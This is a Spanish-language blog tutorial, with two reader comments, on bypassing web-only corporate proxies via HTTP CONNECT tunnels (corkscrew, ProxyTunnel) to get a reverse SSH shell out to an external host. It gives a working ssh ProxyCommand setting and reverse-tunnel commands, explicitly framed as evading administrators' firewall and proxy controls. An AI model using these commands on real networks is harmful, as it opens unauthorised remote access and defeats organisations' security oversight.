Muchos entornos configuran la seguridad perimetral para que el único acceso a internet sea Web, a través de proxies, cerrando toda posibilidad de salir a otros protocolos como ssh, vnc, etc. Si bien parece que esta configuración cierra la posibilidad de que máquinas de la intranet accedan a máquinas de internet, evitando las shells inversas, como veremos, esto no es así...
Túneles HTTP
Existen dos alternativas para crear túneles HTTP. Por un lado podemos utilizar un programa que cree un canal, basado en pedidos HTTP, a través del cual transmita datos de otros protocolos. Este tipo de programas están divididos en dos partes, una parte servidor que espera pedidos para establecer conexiones HTTP y un cliente utilizado en las máquinas que desean establecer el túnel.
El funcionamiento es simple y muy parecido al de los túneles SSH. Supongamos que tenemos un cliente en la intranet que desea ejecutar ssh en su máquina con acceso a internet, pero se encuentra detrás de un proxy. La máquina conectada a internet ejecuta el servidor del túnel en el port 80 y espera conexiones. El usuario que se encuentra en la máquina de la intranet abre el cliente del túnel HTTP, se conecta a al servidor a través del proxy y establece el túnel por el que transportará ssh. El servidor del túnel forwardea los datos recibidos al servidor:port correspondiente, en este caso SSH en la misma máquina.
Existen alternativas comerciales que realizan este trabajo, proporcionando servidores de túneles HTTP propios que permiten forwardear conexiones a las máquinas que deseemos (a cambio de un pago basado en la cantidad de datos transmitidos). También se pueden utilizar programas libres (cliente y servidor) que proporcionan esta capacidad. Buscando encontré uno llamado GNU httptunnel y otro HTTPTunnel@JUMPERZ.NET.
Pasemos a la otra alternativa, la cual me interesa más. El protocolo HTTP provee un método para crear túneles llamado CONNECT. Este método surgió de la necesidad de los proxies para crear conexiones SSL. Los proxies Web reciben pedidos de los browsers como si fueran un site, se conectan a la página que solicita el usuario y la devuelve al browser, esto es, actúa de mediador web entre los usuarios de la intranet y la web de internet. Este mecanismo tiene problemas con las conexiones SSL, porque en ellas la conexión es punto-a-punto entre el browser y la página web. El proxy no puede actuar de mediador, se tiene que limitar a forwardear los pedidos.
El método CONNECT soluciona el problemas de los proxies. Cuando un usuario ejecuta CONNECT en un proxie, éste entiende que el usuario desea crear una conexión TCP no-HTTP a un servidor. En este ambiente, el proxy genera una conexión TCP/IP con el servidor destino y simplemente envia/recibe datos desde/hacia la conexión con el cliente. Cabe destacar que sólo el pedido de conexión inicial es HTTP, el resto es stream TCP.
Gracias a esta propiedad del protocolo HTTP, es posible realizar cualquier tipo de conexión a través de un proxy, como ser ssh, telnet, ftp, lo que se les ocurra. Para que esto funcione el cliente que se encuentra detrás del proxy debe contar con un programa que tunelee el tráfico. Este programa es en realidad muy sencillo, solamente se encarga de enviar el pedido HTTP CONNECT inicial y luego actúa como intermediario enviando/recibiendo los datos desde/hacia el proxy. Los programas que encontré para realizar este trabajo son corkscrew y ProxyTunnel.
El problema en estos casos es que tenemos que modificar de alguna forma los programas que deseamos tunelear para que utilicen al programa itermediario. Por suerte SSH ya cuenta con esta facilidad y SSH permite tunelear cualquier otro protocolo, así que estamos salvados =)
Otro punto a tener en cuenta es que muchos proxies solamente permiten utilizar el método CONNECT cuando el pedido es al puerto 443, es decir HTTPS. Esto claramente limita a que las conexiones solamente vayan a ese puerto, pero si tenemos acceso a la máquina de internet a la que nos conectaremos, podemos hacer que el programa que deseamos acceder (por ejemplo SSH) escuche en el port 443.
Shell inversa a través de túnel HTTP
Si en el artículo anterior mezclé un poco las cosas entre túneles SSH y NetCat, ahora voy a mezclarlas entre túneles HTTP y túneles SSH.
Lo que vamos a hacer es tunelear un túnel SSH a través de un túnel HTTP... faaaaaaa
Si bien a través de un túnel HTTP podríamos enviar cualquier cosa, la facilidad que provee SSH para utilizar esta clase de túneles hace que sea la herramienta perfecta para el trabajo. Como recordarán del artículo de shell inversas, para realizarlo utilizando ssh necesitamos crear un túnel desde la máquina de la intranet a nuestra máquina en internet (shell.demasiadovivo.com). Este túnel viajará a través de un túnel HTTP que crearemos utilizando la herramienta corkscrew. Tanto Proxytunnel como corkscrew se encuentran en los repositorios de muchas distribuciones, así que no tendrán problemas para instalarlo.
Para utilizar corkscrew desde el cliente ssh, tendremos que editar el archivo de configuración de ssh que debería estar ubicado en $HOME/.ssh/config. Si no exite, creenlo. Dentro de este archivo hay que agregar la opción ProxyCommand para los host que deseamos acceder a través del túnel. El archivo de configuración deberá entonces contener las siguientes líneas:
Host *Con esas líneas le decimos al cliente SSH que para realizar cualquier conexión (indicado con Host *) ejecute el comando corkscrew con los parámetros el-proxy.com 8080 para indicar la dirección del proxy y el port, y %h %p que SSH reemplazará automáticamente con los valores de entrada para host y port.
ProxyCommand corkscrew el-proxy.com 8080 %h %p
Una vez guardado el archivo de configuración, simplemente resta ejecutar ssh y probar:
ssh dv@shell.demasiadovivo.com -p 443si todo fue bien, ya tenemos configurado ssh a través de un proxy HTTP... fácil no?
Lo único que resta para crear nuestra shell inversa es ejecutar los comandos que creen el túnel y luego la conexión:
En la máquina de la intranet: ssh -R 4444:localhost:443 dv@shell.demasiadovivo.com -p 443donde el usuario dv debe existir en la máquina shell.demasiadovivo.com y el usuario demasiadovivo debe existir en la máquina de la intranet. Noten que en lugar de utilizar el port default 22 utilicé el 443 que es el que me permite el proxy.
En la máquina shell.demasiadovivo.com: ssh demasiadovivo@localhost -p 4444
También se puede hacer el truco de utilizar NetCat en la máquina de la intranet y así evitar un login, como expliqué en el artículo anterior.
Algo a tener en cuenta es que los proxies cortan las conexiones que permanecen inactivas por un cierto tiempo. Esto es algo bastante molesto, pero solucionable. Por suerte OpenSSH cuenta con un parche que hace al servidor enviar un paquete keep alive cada cierto tiempo (por ej, cada 15 segundos) para mantener la conexión activa y evitar que el proxy nos cierre la conexión. El parámetro utilizado para esto es ClientAliveInterval y se activa en el archivo sshd_config. También se puede configurar desde el cliente, editando ssh_config y agregando la línea ServerAliveInterval.
Posibilidades infinitas
Como dice el creador de ProxyTunnel en su página "How To Give Network Security Administrators a Tremendous Headache", algo así como "Cómo darle a los administradores de seguridad de red un tremendo dolor de cabeza". Gracias al túnel HTTP y a los túneles SSH podremos salir a cualquier lugar de la red que queramos, bypasseando todo control impuesto por el administrador de red, ni firewall ni NAT ni proxies pueden detenernos ahora (salvo que nos corten internet).
Si bien expliqué cómo crear una shell inversa saliendo por el proxy, también podría haber plantado un proxy en shell.demasiadovivo.com y navegar a través de ese proxy, bypasseando controles impuestos en el proxy de la intranet. De la misma forma podríamos acceder a cualquier servidor de internet a cualquier puerto, todo gracias a la flexibilidad del forwarding de SSH. El límite lo imponen ustedes.
Referencias
- On ProxyTunnel
- HTTP Tunnel (wiki)
- Build and Configure an HTTP-Proxy Application
- Tunneling SSL Through a WWW Proxy
2 comentarios:
Maldito NoScript me hizo perder el comentario XD.
Bueno aca pasando nuevamente, me quede con una sola duda, en la linea 'máquina de la intranet: ssh -R 4444:localhost:443 dv@shell.demasiadovivo.com -p 443' el agregado explicito del puerto con el modificador -p es necesario?.. no lo estaria proporcionando la shell inversa ya? o lo necesito para pasar el proxyHTTP a pesar de que todo lo que tire ira al 443 de la maquina destino?
Muy bueno y amigable el articulo.
Saludos
Hola @Richard, cuando le di una nueva leída ayer al post me di cuenta que esa línea podría resultar confusa.
Con "ssh -R 4444:localhost:443 dv@shell.demasiadovivo.com -p 443" estoy diciendo que el servidor ssh en la máquina de la intranet está escuchando en el 443, y ahí es donde hará forward el ssh, mientras que con -p 443 estoy diciendo que el servidor de internet está escuchando en el 443.
Otra forma seria utilizar el comando "ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com -p 443", donde le digo a ssh que el server de la intranet escucha en el 22, default de ssh. Es decir, no es necesario que el de la intranet escuche en el 443, sólo es necesario que el que se encuentra en internet lo haga.
El servidor en Internet debe escuchar en el 443 porque los proxies suelen aceptar conexiones sólo a este port, para permitir el HTTPS. Si pones el server de internet en otro port, el proxy no te va a dejar pasar.
Publicar un comentario